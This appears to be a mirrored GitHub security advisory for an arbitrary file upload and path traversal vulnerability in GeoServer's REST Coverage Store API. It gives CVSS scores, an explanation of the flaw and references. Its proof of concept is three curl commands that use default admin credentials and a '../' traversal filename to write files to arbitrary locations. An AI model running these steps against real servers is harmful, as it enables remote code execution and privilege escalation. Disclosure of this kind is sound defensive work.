Lucene search

K
githubGitHub Advisory DatabaseGHSA-9V5Q-2GWQ-Q9HQ
HistoryMar 20, 2024 - 2:54 p.m.

Arbitrary file upload vulnerability in GeoServer's REST Coverage Store API

2024-03-2014:54:59
CWE-20
CWE-434
GitHub Advisory Database
github.com
14
geoserver
rest
coverage store api
arbitrary file upload
authentication
administrator
remote code execution
path traversal
vulnerability
security files
full privileges

7.2 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

7.7 High

AI Score

Confidence

Low

0.0004 Low

EPSS

Percentile

15.5%

Summary

An arbitrary file upload vulnerability exists that enables an authenticated administrator with permissions to modify coverage stores through the REST Coverage Store API to upload arbitrary file contents to arbitrary file locations which can lead to remote code execution.

Details

Coverage stores that are configured using relative paths use a GeoServer Resource implementation that has validation to prevent path traversal but coverage stores that are configured using absolute paths use a different Resource implementation that does not prevent path traversal.

PoC

Step 1 (create sample coverage store):
curl -vXPUT -H"Content-type:application/zip" -u"admin:geoserver" --data-binary @polyphemus.zip “http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.imagemosaic
Step 2 (switch store to absolute URL):
curl -vXPUT -H"Content-Type:application/xml" -u"admin:geoserver" -d"<coverageStore><url>file:///{absolute path to data directory}/data/sf/filewrite</url></coverageStore>" “http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite
Step 3 (upload arbitrary files):
curl -vH"Content-Type:" -u"admin:geoserver" --data-binary @file/to/upload “http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.a?filename=../../../../../../../../../../file/to/write
Steps 1 & 2 can be combined into a single POST REST call if local write access to anywhere on the the file system that GeoServer can read is possible (e.g., the /tmp directory).

Impact

This vulnerability can lead to executing arbitrary code. An administrator with limited privileges could also potentially exploit this to overwrite GeoServer security files and obtain full administrator privileges.

References

https://osgeo-org.atlassian.net/browse/GEOS-11176
https://github.com/geoserver/geoserver/pull/7222

Affected configurations

Vulners
Node
org.geoserver\gsMatchrestconfig2.24.0
OR
org.geoserver\gsMatchplatform2.24.0
OR
org.geoserver\gsMatchrestconfig
OR
org.geoserver\gsMatchplatform

7.2 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

7.7 High

AI Score

Confidence

Low

0.0004 Low

EPSS

Percentile

15.5%

Related for GHSA-9V5Q-2GWQ-Q9HQ